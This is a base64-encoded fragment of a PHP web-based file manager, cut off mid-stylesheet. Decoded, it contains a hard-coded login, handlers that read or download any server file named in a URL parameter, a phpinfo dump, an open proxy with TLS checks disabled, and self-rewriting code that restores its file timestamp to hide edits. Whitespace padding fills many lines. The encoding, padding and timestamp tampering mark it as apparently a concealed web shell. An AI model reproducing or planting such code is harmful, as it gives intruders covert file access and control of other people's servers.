ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQoNCi8qIEVuZCBGdW5jdGlvbnMgKi8NCg0KDQoNCi8vIGF1dGhvcml6YXRpb24NCmlmICgkYXV0aF9nb3duWydhdXRob3JpemUnXSkgew0KDQoJICAgICBpZiAoaXNzZXQoJF9QT1NUWydsb2dpbiddKSAmJiBpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkJ10pKXsNCgkgICAgIAkgICAgIGlmICgoJF9QT1NUWydsb2dpbiddPT0kYXV0aF9nb3duWydsb2dpbiddKSAmJiAoJF9QT1NUWydwYXNzd29yZCddPT0kYXV0aF9nb3duWydwYXNzd29yZCddKSkgew0KDQoJICAgICAJICAgICAJICAgICBzZXRjb29raWUoJGF1dGhfZ293blsnY29va2llX25hbWUnXSwgJGF1dGhfZ293blsnbG9naW4nXS4nfCcubWQ1KCRhdXRoX2dvd25bJ3Bhc3N3b3JkJ10pLCB0aW1lKCkgKyAoODY0MDAgKiAkYXV0aF9nb3duWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KDQoJICAgICAJICAgICAJICAgICAkX0NPT0tJRVskYXV0aF9nb3duWydjb29raWVfbmFtZSddXT0kYXV0aF9nb3duWydsb2dpbiddLid8Jy5tZDUoJGF1dGhfZ293blsncGFzc3dvcmQnXSk7DQoNCgkgICAgIAkgICAgIH0NCg0KCSAgICAgfQ0KDQoJICAgICBpZiAoIWlzc2V0KCRfQ09PS0lFWyRhdXRoX2dvd25bJ2Nvb2tpZV9uYW1lJ11dKSBPUiAoJF9DT09LSUVbJGF1dGhfZ293blsnY29va2llX25hbWUnXV0hPSRhdXRoX2dvd25bJ2xvZ2luJ10uJ3wnLm1kNSgkYXV0aF9nb3duWydwYXNzd29yZCddKSkpIHsNCgkgICAgIAkgICAgIGVjaG8gJw0KDQo8IWRvY3R5cGUgaHRtbD4NCg0KPGh0bWw+DQoNCjxoZWFkPg0KDQo8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCg0KPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KDQo8dGl0bGU+Jy5fXygnRmlsZSBtYW5hZ2VyJykuJzwvdGl0bGU+DQoNCjwvaGVhZD4NCg0KPGJvZHk+DQoNCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KDQonLl9fKCdMb2dpbicpLicgPGlucHV0IG5hbWU9ImxvZ2luIiB0eXBlPSJ0ZXh0Ij4mbmJzcDsmbmJzcDsmbmJzcDsNCg0KJy5fXygnUGFzc3dvcmQnKS4nIDxpbnB1dCBuYW1lPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPiZuYnNwOyZuYnNwOyZuYnNwOw0KDQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnRW50ZXInKS4nIiBjbGFzcz0iZm1faW5wdXQiPg0KDQo8L2Zvcm0+DQoNCicuZm1fbGFuZ19mb3JtKCRsYW5ndWFnZSkuJw0KDQo8L2JvZHk+DQoNCjwvaHRtbD4NCg0KJzsgIA0KDQpkaWUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfQ0KDQoJICAgICBpZiAoaXNzZXQoJF9QT1NUWydxdWl0J10pKSB7DQoJICAgICAJICAgICB1bnNldCgkX0NPT0tJRVskYXV0aF9nb3duWydjb29raWVfbmFtZSddXSk7DQoNCgkgICAgIAkgICAgIHNldGNvb2tpZSgkYXV0aF9nb3duWydjb29raWVfbmFtZSddLCAnJywgdGltZSgpIC0gKDg2NDAwICogJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCg0KCSAgICAgCSAgICAgaGVhZGVyKCdMb2NhdGlvbjogJy5mbV9zaXRlX3VybCgpLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsNCgkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCg0KLy8gQ2hhbmdlIGNvbmZpZw0KaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkgew0KDQoJICAgICBpZiAoaXNzZXQoJF9HRVRbJ2ZtX2NvbmZpZ19kZWxldGUnXSkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgdW5zZXQoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsNCgkgICAgIAkgICAgIHNldGNvb2tpZSgnZm1fY29uZmlnJywgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoX2dvd25bJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJICAgICAJICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnLmZtX3VybCgpLic/Zm1fc2V0dGluZ3M9dHJ1ZScpOw0KCSAgICAgCSAgICAgZXhpdCgwKTsNCg0KCSAgICAgfQkgICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9jb25maWcnXSkpIHsgDQoNCgkgICAgIAkgICAgICRmbV9jb25maWcgPSAkX1BPU1RbJ2ZtX2NvbmZpZyddOw0KDQoJICAgICAJICAgICBzZXRjb29raWUoJ2ZtX2NvbmZpZycsIHNlcmlhbGl6ZSgkZm1fY29uZmlnKSwgdGltZSgpICsgKDg2NDAwICogJGF1dGhfZ293blsnZGF5c19hdXRob3JpemF0aW9uJ10pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJF9DT09LSUVbJ2ZtX2NvbmZpZyddID0gc2VyaWFsaXplKCRmbV9jb25maWcpOw0KDQoJICAgICAJICAgICAkbXNnX2hlYWRlcnMgPSBfXygnU2V0dGluZ3MnKS4nICcuX18oJ2RvbmUnKTsNCgkgICAgIH0JICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fbG9naW4nXSkpIHsgDQoNCgkgICAgIAkgICAgIGlmIChlbXB0eSgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2F1dGhvcml6ZSddKSkgJF9QT1NUWydmbV9sb2dpbiddID0gYXJyYXkoJ2F1dGhvcml6ZScgPT4gJzAnKSArICRfUE9TVFsnZm1fbG9naW4nXTsNCg0KCSAgICAgCSAgICAgJGZtX2xvZ2luID0ganNvbl9lbmNvZGUoJF9QT1NUWydmbV9sb2dpbiddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkc2VhcmNoID0gcHJlZ19tYXRjaCgnI2F1dGhvcml6YXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOw0KCSAgICAgCSAgICAgaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsNCgkgICAgIAkgICAgIAkgICAgICRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pOw0KCSAgICAgCSAgICAgCSAgICAgJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJGZtX2xvZ2luLCRmZ2MpOw0KDQoJICAgICAJICAgICAJICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgew0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ10gIT0gJGF1dGhfZ293blsnbG9naW4nXSkgJG1zZ19oZWFkZXJzIC49ICcgJy5fXygnTG9naW4nKS4nOiAnLiRfUE9TVFsnZm1fbG9naW4nXVsnbG9naW4nXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICBpZiAoJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddICE9ICRhdXRoX2dvd25bJ3Bhc3N3b3JkJ10pICRtc2dfaGVhZGVycyAuPSAnICcuX18oJ1Bhc3N3b3JkJykuJzogJy4kX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ107DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgJGF1dGhfZ293biA9ICRfUE9TVFsnZm1fbG9naW4nXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICB9DQoJICAgICAJICAgICAJICAgICBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCgkgICAgIAkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsNCgkgICAgIAkgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIH0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ3RwbF9lZGl0ZWQnXSkpIHsgDQoNCgkgICAgIAkgICAgICRsbmdfdHBsID0gJF9QT1NUWyd0cGxfZWRpdGVkJ107DQoNCgkgICAgIAkgICAgIGlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmFtZSddKSkgew0KDQoJICAgICAJICAgICAJICAgICAkZm1fcGhwID0ganNvbl9lbmNvZGUoYXJyYXlfY29tYmluZSgkX1BPU1RbJGxuZ190cGwuJ19uYW1lJ10sJF9QT1NUWyRsbmdfdHBsLidfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7DQoJICAgICAJICAgICB9IGVsc2VpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25ld19uYW1lJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIAkgICAgICRmbV9waHAgPSBqc29uX2VuY29kZShqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSkrYXJyYXkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXT0+JF9QT1NUWyRsbmdfdHBsLidfbmV3X3ZhbHVlJ10pLEpTT05fSEVYX0FQT1MpOw0KDQoJICAgICAJICAgICB9DQoNCgkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX3BocCkpIHsNCgkgICAgIAkgICAgIAkgICAgICRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7DQoNCgkgICAgIAkgICAgIAkgICAgICRzZWFyY2ggPSBwcmVnX21hdGNoKCcjJy4kbG5nX3RwbC4nX3RlbXBsYXRlc1tcc10 bXHNdP1wnXHtcIiguKj8pXCJcfVwnOyMnLCAkZmdjLCAkbWF0Y2hlcyk7DQoNCgkgICAgIAkgICAgIAkgICAgIGlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7DQoJICAgICAJICAgICAJICAgICAJICAgICAkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgICRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3siJy4kbWF0Y2hlc1sxXS4nIn0nLCRmbV9waHAsJGZnYyk7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIGlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgICR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSA9ICRmbV9waHA7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgJG1zZ19oZWFkZXJzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfSBlbHNlICRtc2dfaGVhZGVycyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOw0KDQoJICAgICAJICAgICAJICAgICB9CSAgICAgDQoNCgkgICAgIAkgICAgIH0gZWxzZSAkbXNnX2hlYWRlcnMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7DQoNCgkgICAgIH0NCn0NCg0KDQoNCi8vIEp1c3Qgc2hvdyBpbWFnZQ0KDQppZiAoaXNzZXQoJF9HRVRbJ2ltZyddKSkgew0KCSAgICAgJGZpbGVfZ2V0PWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2ltZyddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGlmICgkaW5mbz1nZXRpbWFnZXNpemUoJGZpbGVfZ2V0KSl7DQoJICAgICAJICAgICBzd2l0Y2ggICgkaW5mb1syXSl7CSAgICAgLy8xPUdJRiwgMj1KUEcsIDM9UE5HLCA0PVNXRiwgNT1QU0QsIDY9Qk1QDQoNCgkgICAgIAkgICAgIAkgICAgIGNhc2UgMTogJGV4dD0nZ2lmJzsgYnJlYWs7DQoJICAgICAJICAgICAJICAgICBjYXNlIDI6ICRleHQ9J2pwZWcnOyBicmVhazsNCgkgICAgIAkgICAgIAkgICAgIGNhc2UgMzogJGV4dD0ncG5nJzsgYnJlYWs7DQoNCgkgICAgIAkgICAgIAkgICAgIGNhc2UgNjogJGV4dD0nYm1wJzsgYnJlYWs7DQoJICAgICAJICAgICAJICAgICBkZWZhdWx0OiBkaWUoKTsNCg0KCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogaW1hZ2UvJGV4dCIpOw0KCSAgICAgCSAgICAgZWNobyBmaWxlX2dldF9jb250ZW50cygkZmlsZV9nZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGRpZSgpOw0KDQoJICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KfQ0KDQoNCg0KLy8gSnVzdCBkb3dubG9hZCBmaWxlDQoNCmlmIChpc3NldCgkX0dFVFsnZG93bmxvYWQnXSkpIHsNCgkgICAgICRmaWxlX2dldD1iYXNlNjRfZGVjb2RlKCRfR0VUWydkb3dubG9hZCddKTsNCgkgICAgIGZtX2Rvd25sb2FkKCRmaWxlX2dldCk7CSAgICAgDQoNCn0NCg0KDQoNCi8vIEp1c3Qgc2hvdyBpbmZvDQppZiAoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsNCgkgICAgIHBocGluZm8oKTsgDQoNCgkgICAgIGRpZSgpOw0KDQp9DQoNCg0KDQovLyBNaW5pIHByb3h5LCBtYW55IGJ1Z3MhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmlmIChpc3NldCgkX0dFVFsncHJveHknXSkgJiYgKCFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcHJveHknXSkpKSB7DQoJICAgICAkdXJsID0gaXNzZXQoJF9HRVRbJ3VybCddKT91cmxkZWNvZGUoJF9HRVRbJ3VybCddKTonJzsNCg0KCSAgICAgJHByb3h5X2Zvcm0gPSAnDQoNCjxkaXYgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MTAwNTAwO2JhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlNGY1ZmMgMCUsI2JmZThmOSA1MCUsIzlmZDhlZiA1MSUsIzJhYjBlZCAxMDAlKTsiPg0KDQoJICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJHRVQiPg0KCSAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icHJveHkiIHZhbHVlPSJ0cnVlIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAnLmZtX2hvbWUoKS4nIDxhIGhyZWY9IicuJHVybC4nIiB0YXJnZXQ9Il9ibGFuayI+VXJsPC9hPjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgdmFsdWU9IicuJHVybC4nIiBzaXplPSI1NSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdTaG93JykuJyIgY2xhc3M9ImZtX2lucHV0Ij4NCg0KCSAgICAgPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KPC9kaXY+DQoNCic7DQoNCgkgICAgIGlmICgkdXJsKSB7DQoJICAgICAJICAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdEZW4xeHh4IHRlc3QgcHJveHknKTsNCg0KCSAgICAgCSAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCgkgICAgIAkgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsNCg0KCSAgICAgCSAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOw0KCSAgICAgCSAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVGRVJFUiwgJHVybCk7DQoJICAgICAJICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KCSAgICAgCSAgICAgY3VybF9jbG9zZSgkY2gpOw0KDQoJICAgICAJICAgICAvLyRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyMoc3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnXFwxPSInLiR1cmwuJy9cXDIiJywgJHJlc3VsdCk7DQoJICAgICAJICAgICAkcmVzdWx0ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjKGhyZWZ8c3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnZm1fdXJsX3Byb3h5JywgJHJlc3VsdCk7DQoNCgkgICAgIAkgICAgICRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyUoPGJvZHkuKj8+KSVpJywgJyQxJy4nPHN0eWxlPicuZm1faG9tZV9zdHlsZSgpLic8L3N0eWxlPicuJHByb3h5X2Zvcm0sICRyZXN1bHQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBlY2hvICRyZXN1bHQ7DQoNCgkgICAgIAkgICAgIGRpZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgfSANCn0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCj8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8IWRvY3R5cGUgaHRtbD4NCg0KPGh0bWw+DQoNCjxoZWFkPiAgICAgDQoNCgkgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KDQogICAgPHRpdGxlPjw/PV9fKCdGaWxlIG1hbmFnZXInKT8+PC90aXRsZT4NCg0KPHN0eWxlPg0KYm9keSB7DQoNCgkgICAgIGJhY2tncm91bmQtY29sb3I6CSAgICAgd2hpdGU7DQoNCgkgICAgIGZvbnQtZmFtaWx5OgkgICAgIAkgICAgIFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoNCgkgICAgIGZvbnQtc2l6ZToJICAgICAJICAgICAJICAgICA4cHQ7DQoNCgkgICAgIG1hcmdpbjoJICAgICAJICAgICAJICAgICAJICAgICAwcHg7DQp9DQoNCg0KYTpsaW5rLCBhOmFjdGl2ZSwgYTp2aXNpdGVkIHsgY29sb3I6ICMwMDY2OTk7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQphOmhvdmVyIHsgY29sb3I6ICNERDY5MDA7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCmEudGg6bGluayB7IGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH0NCg0KYS50aDphY3RpdmUgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQphLnRoOnZpc2l0ZWQgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQphLnRoOmhvdmVyIHsgIGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KDQoNCnRhYmxlLmJnIHsNCg0KCSAgICAgYmFja2dyb3VuZC1jb2xvcjogI0FDQkJDNg0KDQp9DQoNCg0KDQp0aCwgdGQgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGZvbnQ6CSAgICAgbm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOw0KDQoJICAgICBwYWRkaW5nOiAzcHg7DQoNCn0NCg0KDQp0aAkgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBoZWlnaHQ6CSAgICAgCSAgICAgCSAgICAgCSAgICAgMjVweDsNCg0KCSAgICAgYmFja2dyb3VuZC1jb2x